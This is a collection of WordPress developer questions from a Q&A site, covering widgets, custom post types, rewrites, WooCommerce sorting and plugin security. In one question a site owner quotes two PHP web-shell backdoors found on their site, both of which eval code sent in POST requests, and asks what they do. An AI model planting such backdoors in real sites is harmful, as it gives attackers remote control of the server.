               $tags[] = $tag->name;              }             $single["tags"] = $tags;                  $json[] = $single;         }         $json = json_encode($json);              nocache_headers();         if (!empty($callback)) {             header("Content-Type: application/x-javascript; charset=$charset");             echo "$callback($json);";         } else {             **header("Content-Type: application/json; charset=$charset");**             echo "$json";         }          } else {         header("HTTP/1.0 404 Not Found");         wp_die("404 Not Found");     }     ?>


Widgets with groups / sub widgets? Widget in a widget?

I tried to find anything about adding a widget within a widget area. That widget should be a widget group / sub widget area. **I've found a plugin that does this:**   * http://wordpress.org/extend/plugins/extensible-widgets/   * http://jidd.jimisaacs.com/files/2010/02/wpew-screen-9.png **What I really want is to dynamically create something like this without the help from plugins:**   * http://www.gabfirethemes.com/demos/newspro/ Any bright ideas?


Insert/sticky multiple posts in multiple positions

I'm attempting to do this but with multiple posts and specific positions. The post positions are hard coded right now, but will be pulled in from post meta. This code is only being ran on the homepage and the posts aren't paginated.               $essay_args = array(         'posts_per_page' => get_option('posts_per_page'),         'post__not_in' => array($post->ID),         'post_type' => array('post')     );     $essays = get_posts( $essay_args );          $fixed_posts = get_posts(array('post_type'=>array('ad','book')));          $positions = array(2,5,10); // to be pulled in from ad/book posts     $x = 0;          foreach($fixed_posts as $fixed_post) : setup_postdata($post);         $e_posts = new WP_Query(array('p'=>$fixed_post->ID,'post_type'=>array('ad','book')));         if (!empty($e_posts->posts)) array_splice($essays,$positions[$x],0,$e_posts->posts);         $x++;      endforeach;           foreach($essays as $essay) : setup_postdata($post);         echo $essay->post_title . '<br>';      endforeach;      Does it make more sense to do multiple WP_Query/get_posts requests for each post by id or does that tax the database too much? Is a there a cleaner way to do this?


Custom widget not appearing on front end

I have the following widget location defined in my theme's `functions.php`:               register_sidebar( array(         'name' => __( 'Opening Hours', 'transparent' ),         'id' => 'sidebar-hours',         'description' => __( 'Appears on the front page', 'transparent' ),           'before_widget' => '
',         'after_widget' => '
',         'before_title' => '
',         'after_title' => '
',     ) );      This widget location is appearing in Admin > Appearance > Widgets, and I have a HTML text widget in this location. In my theme's index.php, I have the following code:               <?php if ( is_active_sidebar( 'sidebar-hours' ) ) : ?>
           <?php dynamic_sidebar( 'sidebar-hours' ); ?>
     <?php endif; ?>      However, on the front end of the website, the widget text is not appearing. It should be below the navigation menu. Can you provide troubleshooting advice please?


get post images to link to external sources

I'm buiding a site that lists the most recent posts on the front page, the site is a recompilation of interesting articles and images so it doesn't make sense to link to the individual post. I currently have the title redirecting externally to the link, but I would also like to link externally via the post image. I've set up a custum field "externalurl" This is what I have so far in the loop.php which does not work:                   <?php         if ( has_post_thumbnail() ){ ?>             <?php $thumbURL = get_post_custom_values('externalurl'); ?>             <a href="<?php echo get_attachment_link($thumbURL); ?>" rel="gallery" title="<?php the_title(); ?>">                         <?php the_post_thumbnail(); ?>                                       <?php } ?>      Does anybody have any idea what I'm doing wrong? Any suggestions welcome. Thanks in advance!


Get gallery url (Nextgen)

Is there a way to get the gallery url of images. What I want to do is this: image1 image2 image3 are in gallery "Pinto". When a user clicked for example on **image 1** and it pop-ups in lightbox I want there to show from wich gallery is the image and when the user clicked on that link to go to that gallery. I found out how to get the gallery title - `<?php echo $gallery->title ?>` , but couldn't find the right code for the gallery url. Any help would be greatly appreciated. Thanks. p.s. Sorry for my English.


Plugin for TinyMCE to create reference to other posts

Is there any plugin that would allow me to easily insert reference to another post for TinyMCE? I want to be able to reference another post by permalink and the link text to be the title of the post.   Alternatively, is there any plugin that allow me to do this with short-code? i.e               [reference post-id="2345" link="peramlink"]


Custom Post Type and single-posttype template

I created CPT **topic**               function wpse100_create_cpt() {         register_post_type( 'topic', array(             'labels' => array(                 //.....                 ),             'public' => true,             'publicly_queryable' => true,             'capability_type' => 'post',             'hierarchical' => false,             'rewrite' => array(                 'slug' => '/topic',                  'with_front' => false                 ),             'has_archive' => false,             'query_var' => true,             ) );     add_action( 'init', 'wpse100_create_cpt' );      I choose permalink /%postname%, but by default URL mysite.tld/topic/postname, then I remove slug from URL mysite.tld/postname uses this code               function wpse100_remove_slug($post_link, $post) {         if ( 'topic' != $post->post_type )             return $post_link;              return str_replace(get_bloginfo('url') . '/topic' , get_bloginfo('url'), $post_link);     }     add_filter( 'post_type_link', 'wpse100_remove_slugs', 10, 2 );      and then create template for CPT single-topic.php but I get 404 error. How I can to correct the error? PS If I turn off function `wpse100_remove_slug()` it works fine, but I need use URL such as mysite.tld/postname Thanks!


Want to know who is login Admin/User

want to know who is login in my wordpress website if admin login then go to dashboard and if user login then go to homepage Approach: I used this code               <?php if ( is_user_logged_in() ) {             echo ‘ user is loin ‘ ;          } else {           echo ‘ Not Login ‘ ;          } ?>      and               if(is_admin()) { ...output my admin stuff....}      but doesn't work. any help would be extremely appreciate.


Show whether a post is plus or minus with Wp-Postratings

Im using WP-Postratings to show thumbs up or down for posts and I want to show on the homepage in post excerpts whether a post in in the plus or minus. If it's in the plus I want to show a custom image but if the negative I want to show a different image. Any ideas on how to do that?


Get the object ID by URL

I have an URL (such as the URL `/sample-page/`), I need the corresponding object ID. How?


the_excerpt and shortcodes

I'm using the_excerpt on my index page. I'm also using a dropcap shortcode at the beginning of each of my posts. On the index page the posts will not display the letter with the dropcap shortcode around it. If my post beings with the word "Dog" the index page displays "og". How do I get shortcodes to work when using the_excerpt? Shortcode                   function drcap ($atts, $content = null) {         return '
' . do_shortcode($content) . '
';         }              add_shortcode('dropcap', 'drcap');


sanitizing/escaping plugin options

I have a plugin with a few text boxes that save the data in a serialized manner, the array is localized and printed in website front end to display custom messages. However, I just noticed that you can add html and javascript inside the text boxes, is there anyway to disallow this kind of content?


Page content sent from XML RPC is corrupted

I am using python-wordpress-xmlrpc to edit a page to wordpress, I generate some HTML and I am sending it to wordpress. The content is a piece of valid html code, it consists of regular html tags and some text. However when I browse to the page in Wordpress dashboard, the page content looks like:               h2My Product C++/h2          div style=”border: 2px solid #ECECEC;-webkit-box-shadow: 1px 2px 5px #888;”     p align=”justify”bFDM/b (bx) is something nice      As you see `<h2>` becomes `h2>`, `<div>` has become `div>`. The HTML on the Python side looks OK, so I am guessing that I am not using the XML RPC correctly. Any ideas where/why this sort of corruption would occur?


Can ordering post list by meta_value cause performance issue?

For some code refinement and to add new features to my plugin, I want to display posts ordered by specific meta column value like this;               query_posts($query_string . '&meta_key=views&orderby=meta_value&order=DESC');      Can it cause performance issue for big blogs having total post more than 10000+?   * I can use WP_Query() or get_posts() in place of query_post()


Wordpress Uploader Editor shows broken image

I have the latest wordpress version installed. When I upload an image in the control panel for a post, I then go to edit it (crop an image for the thumbnail the way I want or rotate or do any kind of editing) and instead it shows a broken image. The actual images are uploaded, I just can't seem to use the wordpress image editor. Any ideas why or how to fix? See image below for more detail ![enter image description here](http://i.stack.imgur.com/78FFz.png)


Pagination throws 404 error on custom taxonomy archive pages

I have created a custom taxonomy for a custom post type called "portfolio" like so:               function jvs_portfolio_categories_init() {         register_taxonomy(             'project-category',             'portfolio',             array(           'label'        => __( 'Project Categories' ),           'query_var'    => true,           'hierarchical' => true             )         );     }     add_action( 'init', 'jvs_portfolio_categories_init' );      Then I added an `archives.php` page so I could show posts in those taxnomies, the problem is that pagination breaks on the second page, this is basically my loop in the archives page:               <?php $paged = (get_query_var('page')) ? get_query_var('page') : 1; ?>     <?php global $query_string; query_posts($query_string . '&post_type=portfolio&paged=' . $paged); ?>     <?php if (have_posts()) while (have_posts()) : the_post(); ?>          // Stuff here     <?php endwhile; ?>       It just shows me a 404 page error when I try to go to the 2nd page, I'm using pretty permalinks but if I manually replace the `/page/2` param in the url with `?page=2` it works fine even though the pagination works fine everywhere else in the site. Can you guys help me? Thanks in advance!


Shortcode leaves no space for other elements?

I've created my own shortcode. I'm unable to share the code unfortunately ;/ When I use it on my pages it behaves strange. It always has the highest priority. I mean something like that in page editor:               Text     [shortcode]      Outputs on the page:               < shortcode contents >      Text      And this in page editor:               [shortcode]     Text     [shortcode]      Gives:               < shortcode contents >     < shortcode contents >     Text      So I'm unable to put anything before and between my shortcodes. To say more, my shortcodes use a few ifs, foreachs and a loop (they're grabbing and displaying data from custom post type). Any ideas why it happnes? [edit] **OK, so I've been using echoes instead of return. My bad. Is there any way of return my whole function without editing every single line and adding $output etc.?**


Wordfence detects change in wp-admin/includes/upgrade.php

I moved my site from hosting provider A and domain name B to hosting provider X and domain name Y. I had Wordfence in the old site. I just installed it in the new site and ran a scan. Wordfence found the following change in wp- admin/includes/upgrade.php :               279    @wp_mail($email, __('New WordPress Site'), $message);       became               279    //@wp_mail($email, __('New WordPress Site'), $message);      Anybody knows is this indicates some hack or security issue?


Wordpress as web application base

I am planning to use wordpress as the base for my next web application. Earlier I have used RoR, Laravel etc. for web application and wordpress mainly for blogging. The web application will define a seperate PRODUCT table (other than the default wordpress tables), and based on the url structure the data for a a particular product will be fetched. e.g. http://webapp.com/product/dummy http://webapp.com/product/pummy dummy, pummy is the seo friendly name of the specific product. Under a particular url the data for the product is to shown. The legacy data (about 15000 products) will be imported into the product table. Most of the frameworks like RoR, Laravel etc support routing, where in you can read the url and fetch the data from the database and display. So using a function in your controller you can fetch the data and display it using views. I want to understand the best practices and how this can be implemented in wordpress. In case product is a custom post, do we create one post per product (15000 posts in this case) etc.


Edit Post VS Custom Form

I have a blog which relies heavily on user generated content. I would like my users to be able to create posts, but the posts must only have specific fields:   * title   * content   * an attached image   * two metadata fields (latitude, longitude from Google Maps)   * tags (only pre-existing tags) Is it better to: a) give users access to the Edit Post screen and style it differently (Is this possible?) or b) develop a custom page/ form to submit the post? So far, I have opted for the second option (code below), but I am unsure of whether I am going about it the right way.               if (isset($_POST['photo-title']) && !empty($_FILES) ) {               // The user submitted the form.              // Create the post object.         $post = array(                   // Forget the lack of validation for now ;)                   'post_title' => $_POST['photo-title'],              'post_content' => $_POST['photo-description'],              'post_status' => 'publish',              'post_type' => 'post',              'post_author' => $user_ID,              'post_category' => array(5)           );              // Insert the post into the database.         $post_id = wp_insert_post( $post );              // If the post was successful         if ($post_id) {                  // Add metadata for the photo             add_post_meta($post_id, 'ob_latitude', $_POST['latitude']);             add_post_meta($post_id, 'ob_longitude', $_POST['longitude']);         }                   // Handle the photo upload.         $attach_id = media_handle_upload('photo', $post_id );     }


Woocommerce Sorting does not sort the results after page reload

I have code in index.php that shows the Woocommerce products and also provides the dropdown for sorting. Regardless of the option that I choose from the dropdown, the page reloads and yet, it shows the same results. So let's say, I choose to display products using "Price(highest to lowest)" option, it still applies the Default sorting. In other words, sorting has no effect on the results. It's always the default sort. I have also placed the code from Woocommerce Frontend Snippets in functions.php, but that does not help. **Here's my index.php file contents:**               <?php get_header(); ?>               <?php         echo $_GET['orderby']; //This echos the value correctly received from the $_GET variable              $args = array(             'post_type' => 'product',             'orderby' => $_GET['orderby'],         );         $wp_query = new WP_Query($args);                     ?>              <?php do_action('woocommerce_before_shop_loop'); // woocommerce sorting ?>
             <?php woocommerce_product_subcategories(); ?>                  <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?>                      <?php woocommerce_get_template_part('content', 'product'); ?>                      <?php             endwhile; // end of the loop.              wp_reset_query();              ?>

                         <?php get_sidebar(); ?>          <?php get_footer(); ?>      **Code in functions.php**               //Custom sorting options (asc/desc)     /**      * This code should be added to functions.php of your theme      **/     add_filter('woocommerce_get_catalog_ordering_args', 'custom_woocommerce_get_catalog_ordering_args');          function custom_woocommerce_get_catalog_ordering_args( $args ) {         if (isset($_SESSION['orderby'])) {             switch ($_SESSION['orderby']) :                 case 'date_asc' :                     $args['orderby'] = 'date';                     $args['order'] = 'asc';                     $args['meta_key'] = '';                 break;                 case 'price_desc' :                     $args['orderby'] = 'meta_value_num';                     $args['order'] = 'desc';                     $args['meta_key'] = '_price';                 break;                 case 'title_desc' :                     $args['orderby'] = 'title';                     $args['order'] = 'desc';                     $args['meta_key'] = '';                 break;             endswitch;         }         return $args;     }          add_filter('woocommerce_catalog_orderby', 'custom_woocommerce_catalog_orderby');          function custom_woocommerce_catalog_orderby( $sortby ) {         $sortby['title_desc'] = 'Reverse-Alphabetically';         $sortby['price_desc'] = 'Price (highest to lowest)';         $sortby['date_asc'] = 'Oldest to newest';         return $sortby;     }      I am stuck with this non-working piece of code for 3 days now. Googling for the solution has been unfruitful. I have seen many others share the same problem but no one seems to have found the answer. I am running WordPress 3.5.1, Woocommerce 2.0.12. Any help to **actually have the products sorted out as per the selection made by the use of the dropdown** will be greatly appreciated.


Suspicious Files

Hi I found two suspicious files on my site:   1. The first in my theme (`404.php`), with this line added  `<?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>`   2. The second in `/wp-admin/` called `wp-class.php`. The only line there was: `<?eval($_POST[joao]);?>` Can anyone tell me what are this doing, and what steps should I take ?


Restrict access to post if it is currently being edited

On a platform with many Editors, the problem that I am experiencing is that two editors proofread the same post simultaneously (and disregarding the warning notice about someone else currently editing the post). Is there a solution where I can restrict access to a post if it is currently being edited by a different user? Maybe by disabling the post's edit link on the post list? This should only take effect on editors if they are not the author of the post (we don't want them to be locked out of their own post) and admins should be excluded from any restriction.


How do themes render caption texts in extended markup (e.g. "wp-caption" paragraphs)

I've created my own theme based on a very lean template. My theme is not parsing the `[caption]...[/caption]` markup to the correct html. It's just showing the text without any markup around it. Here are the relevant observations for my situation:   * When editing the post it shows `[caption]...[/caption]` in "Text" mode, and a nice image with caption in "Visual" mode. (as expected)   * If I view the post (single) it just renders an `<img .../>` tag and the caption text as plain text.   * If I view the post (single) in theme TwentyEleven it _does_ render the caption text in a special tag `<p class="wp-caption-text">my caption</p>`. This is what I'm after in my own theme. That last observation seems important, and should be my lead to the solution. I've dug through the TwentyEleven theme and found that it renders the content the same way as my own theme does:               <?php the_content(); ?>      I've opened and searched through _all_ the TwentyEleven files, but could not find "wp-caption" anywhere important, or any other clue as to how TwentyEleven gets WordPress to parse the captions and render them with special markup. I've gone through the functions.php file in TentyEleven because my instinct told me that's where the theme might register a hook or filter for parsing shortcode, but I couldn't find anything. In addition, I've tried the following:   * `echo apply_filters('the_content', get_the_content());`   * `echo do_shortcode(get_the_content());` But neither gives the desired result. _**So, the question is** : How does a theme get WordPress to parse captions and render them in special markup?_


Password protected post or page - error message by wrong password?

Ok guys, I'm building a page, where a certain sub-page is password protected. Easy in wordpress. But there is a UX problem: when a user enters a wrong password, theres no error message or something to indicate, that the password is not correct. Is it posible to manually code it somehow to the template file?


Can anyone suggest a wordpress them with built in user management

Does anyone know of a wordpress theme or plugin that offers custom user registration + 'My account' panel? I'm trying to build a cashback site.. would appreciate if you could share themes or plugins that could do the job.


How to create post thumbnail

I am working on the WordPress Twenty Ten theme, and I want to display post thumbnails. I have followed the steps below:   * Added following code in functions.php file:              if ( function_exists( 'add_theme_support' ) ) {          add_theme_support( 'post-thumbnails' );      }        * I have also defined post thumbnail size,              set_post_thumbnail_size( 150, 150 );        * And I configured the media settings from the admin panel of WordPress to not to crop image. but this is cropping the image.   * Using this in loop.php file,              the_post_thumbnail(array(150,150);      I do not want to crop the image. How can I do this? Please help where I am wrong in my process. Thanks in advance.


Insufficient permissions to save options

Hi I have built a settings page which from the menu leads to: http://www.mysite.com/wp-admin/admin.php?page=theme_options The problem is that when I go to save the options and I am an EDITOR user I get this error: You do not have sufficient permissions to access this page. I am using User Role Editor plugin and edit_theme_options capability is enabled for the Editor user type. What can I do to fix this? thanks


Correct way to make meta box with more than one meta field secure

I used several online tutorials to make a plugin that has a meta box that contains more than one field. It seems to work fine and save the data however I just want to ensure that my plugin is secure. The code is below. Any suggestions would be greatly appreciated.               <?php      /*       Typical Header info      */           /* Artists Galleries Function that sets up      our custom post type and registers it */          function artist_galleries_cpt() {          $labels = array(     'name' => _x('Artist Galleries', 'post type general name'),     'singular_name' => _x('Artist Gallery', 'post type singular name'),     'add_new' => _x('Add New', 'Post'),     'add_new_item' => __('Add New Artist Gallery'),     'edit_item' => __('Edit Artist Gallery'),     'new_item' => __('New Artist Gallery'),     'view_item' => __('View Artist Gallery'),     'search_items' => __('Search Artist Galleries'),     'not_found' =>  __('No Artist Galleries found'),     'not_found_in_trash' => __('No Artist Galleries found in Trash'),     'parent_item_colon' => ''     );     $args = array(     'labels' => $labels,     'public' => true,     'publicly_queryable' => true,     'show_ui' => true,     'query_var' => true,     'rewrite' => array('slug'=>'galleries_test'),     'show_in_nav_menus' => true,     'capability_type' => 'post',     'hierarchical' => false,     'menu_position' => 5,     'supports' => array('title','editor','thumbnail'),     'has_archive' => true     );          // Custom Post Type Registers Here     register_post_type('artist_galleries',$args);     }          add_action('init', 'artist_galleries_cpt');               /* Function that changes the default messages      seen when working on our custom post type */          function artist_galleries_updated_messages( $messages ) {          global $post, $post_ID;     $messages['artist_galleries'] = array(     0 => '',     1 => sprintf( __('Artist Gallery updated. View Artist Gallery'), esc_url( get_permalink($post_ID) ) ),     2 => __('Custom field updated.'),     3 => __('Custom field deleted.'),     4 => __('Arist Gallery updated.'),     5 => isset($_GET['revision']) ? sprintf( __('Artist Gallery restored to revision from %s'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,     6 => sprintf( __('Artist Gallery published. View Artist Gallery'), esc_url( get_permalink($post_ID) ) ),     7 => __('Artist Gallery saved.'),     8 => sprintf( __('Artist Gallery submitted. Preview Artist Gallery'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),     9 => sprintf( __('Artist Gallery scheduled for: %1$s. Preview Artist Gallery'), date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->post_date ) ), esc_url( get_permalink($post_ID) ) ),     10 => sprintf( __('Artist Gallery draft updated. Preview Artist Gallery'), esc_url( add_query_arg( 'preview', 'true', get_permalink($post_ID) ) ) ),     );     return $messages;      }      add_filter( 'post_updated_messages', 'artist_galleries_updated_messages' );           /* Function that will add our custom      meta boxes to the admin screen */          function add_artist_info_meta_box() {           // Add Meta Box Function for Products that Artist Sells     add_meta_box(     'artist-info-meta-box', // Unique ID     esc_html__( 'Artist Info', 'example' ), // Title     'artist_info_meta_box', // Callback function     'artist_galleries', // Admin page (or post type)     'side', // Context     'default' // Priority     );     }          // Add meta box using the 'add_meta_boxes' hook.     add_action( 'add_meta_boxes', 'add_artist_info_meta_box' );           /* Function that will display our custom      meta boxes to the screen */          function artist_info_meta_box() {          // $post is already set, and contains an object: the WordPress post     global $post;          $values = get_post_custom( $post->ID );          // Set our field variables        $products_sold = isset( $values['products_sold'] ) ? $values['products_sold'][0] : '';         $website = isset( $values['website'] ) ? esc_attr( $values['website'][0] ) : '';         $address = isset( $values['address'] ) ? esc_attr( $values['address'][0] ) : '';         $phone = isset( $values['phone'] ) ? esc_attr( $values['phone'][0] ) : '';         $email = isset( $values['email'] ) ? esc_attr( $values['email'][0] ) : '';         $hours = isset( $values['hours'] ) ? esc_attr( $values['hours'][0] ) : '';              // We'll use this nonce field later on when saving.         wp_nonce_field( 'artist_info_meta_box_nonce', 'meta_box_nonce' );         ?>
         Products Sold

         <input type="text" name="products_sold" id="products_sold" value="<?php echo $products_sold; ?>" />

       Website

       <input type="text" name="website" id="website" value="<?php echo $website;    ?>" />

       Address

       <input type="text" name="address" id="address" value="<?php echo $address;   ?>" />

       Phone

       <input type="text" name="phone" id="phone" value="<?php echo $phone; ?>" />

      Email

      <input type="text" name="email" id="email" value="<?php echo $email; ?>" />

      Hours

      <input type="text" name="hours" id="hours" value="<?php echo $hours; ?>" />
      <?php     }?>       <?php        function artist_info_meta_box_save( $post_id )     {          // Bail if we're doing an auto save          if( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;                // if our nonce isn't there, or we can't verify it, bail            if( !isset( $_POST['meta_box_nonce'] ) || !wp_verify_nonce(    $_POST['meta_box_nonce'], 'artist_info_meta_box_nonce' ) ) return;          // if our current user can't edit this post, bail     if( !current_user_can( 'edit_post', $post_id ) ) return;          // now we can actually save the data     $allowed = array(         'a' => array( // on allow a tags             'href' => array() // and those anchors can only have href attribute         )     );            // Make sure your data is set before trying to save it     if( isset( $_POST['products_sold'] ) )        update_post_meta( $post_id, 'products_sold', wp_kses( $_POST['products_sold'], $allowed ) );          if( isset( $_POST['website'] ) )         update_post_meta( $post_id, 'website', wp_kses( $_POST['website'], $allowed ) );          if( isset( $_POST['address'] ) )         update_post_meta( $post_id, 'address', wp_kses( $_POST['address'], $allowed ) );          if( isset( $_POST['phone'] ) )         update_post_meta( $post_id, 'phone', wp_kses( $_POST['phone'], $allowed ) );          if( isset( $_POST['email'] ) )         update_post_meta( $post_id, 'email', wp_kses( $_POST['email'], $allowed ) );          if( isset( $_POST['hours'] ) )         update_post_meta( $post_id, 'hours', wp_kses( $_POST['hours'], $allowed ) );                }     add_action( 'save_post', 'artist_info_meta_box_save' );     ?>


WP All Import - Custom Posts do not show up on website

I am currently using wp all import to import jobs into my job openings website. The import goes okay and all the job openings are in the site, if you look at the wp-admin. But on the site, they are not being seen. As soon as I edit one and save it, then it is visible on the site. Who knows how I can make them visible from the start? I even tried the custom field _visibility with visible, but still no succes. Please help me out here!


wp_get_object_terms - How can I order the resulting array by hierarchy?

I'm returning a custom hierarchal taxonomy via wp_get_object_terms. The trouble is that the results are being ordered by name or count, neither of which are proving reliable. (I'm using a custom taxonomy for "Location" - City, State, Country - sometimes the State appears before the City) Is there a way I can order the resulting array by the custom taxonomy hierarchy? Is there, perhaps, another way I should be looking at this?


Only allow user to access a link once a year, based on their joining date

I am using Wordpress to run a membership site, and one of the features is that members can download a badge. However, they are only allowed to download the badge once per year, starting form the date they joined, which I have stored in my database. They can access the badge from a link on the homepage when they are logged. prior to downloading the badge, they have to fill in some personal details that are then entered onto the badge. I would to like to do the following:   1. If the member hasn't downloaded the badge then when they click the link, they are taken to the next page.   2. If they have downloaded the badge, then they are taken to a different page saying "You have already downloaded this file" I was thinking that the best way would be to count the number of downloads using a new table in my database and then comopare todays date with their start date. Unfortunately, I'm a bit concerned about adding random tables to the DB Any pointers would be great. I've looked at some download plugins, but they don't seem to do the job... Thanks in advance Edit to add: I've had a go at building something but nothing seems to be happening so i must be missing something. Code is below:               <?php          if (is_user_logged_in()) {              global $user_ID;         $paypal_user = get_user_meta($user_ID, 'paypal_user', true);         $download = get_user_meta($user_ID, 'badge_dl', true);         $exp_date = $paypal_user->expire_date;         $currentDate = date('Y-m-d');              if (($currentDate <= $exp_date) and ($download == 'yes')) { ?>
Member Downloads
              <?php }               else { ?>
<a href="member_badge_lp.php" onClick="<?php update_user_meta($user_ID, 'badge_dl', 'yes'); ?>">Member Downloads
                 <?php }          }         ?>      Any ideas why it might not be working? Thanks again.


WP Editor strips input placeholder attribute

Why WP Editor also strips the "placeholder" attribute of the input text element ? Ofcourse, i am using the HTML mode. Here is the input:               <input type="text" value="" name="s" style="width: 550px;" placeholder="Search this website..">      After updating the post (after strip):               <input type="text" value="" name="s" style="width: 550px;">      I do not want WP Editor to strip such attributes. Any Help ?


current-menu-item not added on page showing custom post type (rendered with archive template)

1. I have setup a custom post type called 'expertizeom'      1. I have setup a page called "expertize" and added to my custom menu (site main nav).     2. The page is rendered with an archive called archive-expertizeom.php The problem is that when i browse to that page everything is working fine but **wordpress isn't adding the current-menu-item class**. can you help? Thanks Francesco


I want to retrieve all posts of a blog without username & password

I want to make an android application for my wordpress blog, I want to display there all my blog posts with many options like category wise, date wise, search wise etc... How Can I retrieve all my blog posts or category wise posts. Obviously as this will go to each user's mobile, I don't want that I comuunicate with my username & pwd. Please guide me, How can I achieve this?


Is there an email subscription plugin which allows user to select category?

I would like users to be able to _choose which categories_ they would like to receive email notifications about when new posts are added. Is there an exsisting plug-in with this functionality. Please don't be confused with subscribe2's global category exclusion setting. I don't believe subscribe2 allows users to choose categories at the time of subscribing. Thanks in advance.


Possible to filter the posts or categories that XML-RPC users see in their mobile application?

Is it possible to filter the posts or categories that XML-RPC users see in their mobile application? I have a plugin that hooks into `pre_get_posts` and `list_terms_exclusions` to do what I need it to do. I've had requests to allow the same functionality on their mobile devices.


Unattaching images from a post

I currently have a custom post type in a theme I'm developing which will be used for portfolio items. So far, I have implemented functionality that allows images to be attached to a portfolio post. I now need the best way to go about detaching images from a post: My code currently is:                   $images =& get_children('post_type=attachment&post_mime_type=image&post_parent=$post->ID');                 $numberOfImages = count($images);                 if($numberOfImages == 1) {                      }                 else if($numberOfImages > 1)                 {                     foreach($images as $attachment_id => $attachment)                     {                         $imageAttributes = wp_get_attachment_image_src($attachment_id);                         ?>
                             <img alt="" height="100" src="<?php echo $imageAttributes[0]; ?>" width="150" />                             Unattach
                         <?php                     }                 }      This loops through the images that are attached and displays them in a meta box with an associated 'Unattach' button. I am at a loss as to what/where I need to link to to detach the images from the post. Any help appreciated.


the correct way to use options from settings page

I'm creating a plugin in Wordpress and am a little confused how I should use settings I set in my settings page. I used: http://codex.wordpress.org/Creating_Options_Pages to create my settings page. All fine, it's saving the options into the options table. I can echo them out but the only way I can get it to do it is with:               $value = get_option('my_option_name')['my_option'];      echo $value;      This doesn't seem a very nice way of doing it to me, and Netbeans gives me a red line under the code saying it's not compatible with my version of PHP, it works but this surely isn't the way I'm supposed to echo out values from my settings page is it?


Wordpress 3.1 makes my drop down menu dissapear, jquery dont work

Please help, After i upgrade to WP 3.1 just now, all my site menus not working, no drop down menu, and the jquery countdown not working. please help me.


How to extract translatable (double underscores and _e) strings?

I made a custom theme and wonder how could I extract all translatable strings to a .po file so I can translate it. Do I need WPML plugin? Ex: I have a string "soccer" which is written as `_e('soccer','mytheme');` and I want to translate it to "futebol" but how can I transport it to a .po file?


404 Admin Error

I am new to WordPress and was looking at settings in the admin. I believe I changed the directory of the site from `example.com/wp/` to `example.com`. When I saved the changes I immediately saw a 404 error that says:               Not Found          The requested URL /index.php was not found on this server.          Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.      In trying to fix what I messed up I came across this question which an answer said to `Delete .htaccess` however I believe the root cause in that question is different than my problem.


Taxonomy Url with Custom post type prefix re-write rule

I have a taxonomy called Section and a Custom post type called Developments. What i need to achieve is a permalink on the taxonomy with custom post type prefixed: e.g:   1. custom post type: development <\- More than one custom post type so needs to be dynamic   2. taxonomy: section   3. term: casting http://site.com/development/section/casting What i have at the moment:   1. taxonomy: section   2. term: casting http://site.com/section/casting Permalink Structure: Post name PS* Any help will be much appreciated:               // Register Section taxonomy for Development, Pre-Production, Shooting & Post-Production     add_action( 'init', 'jh_register_taxonomy_section' );          function jh_register_taxonomy_section() {              $labels = array(             'name' => _x( 'Sections', 'sections' ),             'singular_name' => _x( 'Section', 'sections' ),             'search_items' => _x( 'Search Sections', 'sections' ),             'popular_items' => _x( 'Popular Sections', 'sections' ),             'all_items' => _x( 'All Sections', 'sections' ),             'parent_item' => _x( 'Parent Section', 'sections' ),             'parent_item_colon' => _x( 'Parent Section:', 'sections' ),             'edit_item' => _x( 'Edit Section', 'sections' ),             'update_item' => _x( 'Update Section', 'sections' ),             'add_new_item' => _x( 'Add New Section', 'sections' ),             'new_item_name' => _x( 'New Section', 'sections' ),             'separate_items_with_commas' => _x( 'Separate sections with commas', 'sections' ),             'add_or_remove_items' => _x( 'Add or remove sections', 'sections' ),             'choose_from_most_used' => _x( 'Choose from the most used sections', 'sections' ),             'menu_name' => _x( 'Sections', 'sections' ),         );              $args = array(             'labels' => $labels,             'public' => true,             'show_in_nav_menus' => false,             'show_ui' => true,             'hierarchical' => true,             'supports' => array('title', 'editor', 'excerpt', 'thumbnail'),             'rewrite' => array('slug' => 'section', 'with_front' => true, 'hierarchical' => true),             'query_var' => true         );         register_taxonomy('sections',array('development','shoot','pre_production','post_production'), $args );     }          // Register Developments custom post type     add_action('init', 'jh_register_developments');          function jh_register_developments() {              $labels = array(             'name' => __('Developments', 'development'),             'singular_name' => __('Development', 'development'),             'add_name' => __('Add New', 'development'),             'not_found' => __('No developments found', 'development'),             'not_found_in_trash' => __('No developments found in Trash', 'development'),             'menu_name' => __('Development', 'development')         );              $args = array(             'labels' => $labels,             'public' => true,             'publicly_queryable' => true,             'has_archive' => false,             'supports' => array('title', 'editor', 'excerpt', 'thumbnail'),             'can_export' => true,             'rewrite' => true,             'menu_position' => '35',             'capability_type' => 'post'         );              register_post_type('development', $args);     }


Unexpected Output: register_activation_hook with namespace

I encounter a weird error while using the `register_activation_hook` and `namespace`. > The plugin generated 236 characters of unexpected output during activation. > If you notice “headers already sent” messages, problems with syndication > feeds or other issues, try deactivating or removing this plugin. I get this error even with this simple plugin:               <?php     /**      * Plugin Name: Sample Plugin      *      */     namespace Sample;          register_activation_hook( __FILE__, 'sp_activate' );     function sp_activate() {          }      If I remove the `namespace` the error does not occur. Do I miss something? What is wrong here?


Getting Term_id - Taxonomy Metadata plugin

I've been looking everywhere but can't find any way to make this works. I am using the Taxonomy Metadata plugin and I am trying to display the custom metadata created. For this I use: `get_term_meta($term_id, 'my_metadata', TRUE);`. The problem is that I can't find a way to get the term_id. I am in a template page inside the loop. Here is what I have tried:               $term = get_term_by('name', 'name', 'custom_taxonomy');     $termid = $term->term_id;     $metadata = get_term_meta($termid, 'my_metadata', TRUE);      But it's not working, it just returns: `Trying to get property of non-object` for the term_id. Could you help me please? Thank you!


Need Help With A Rewrite Issue

On the site im getting this "mysitehere.com/pro/my-everyday/?auth=my%20author%20title" I would love to have it like "mysitehere.com/pro/my-everyday/my-author-title" I have looked around and found nothing that helps though im not sure exactly how to format it to work with my need. \---UPDATE--- Found out the past developer used the wrong tag in the links. I have fixed the space issue and now i get "mysitehere.com/pro/my-everyday/?auth=my-author-title" Now to hide the ?auth=


Extract Information from post content (using regex?)

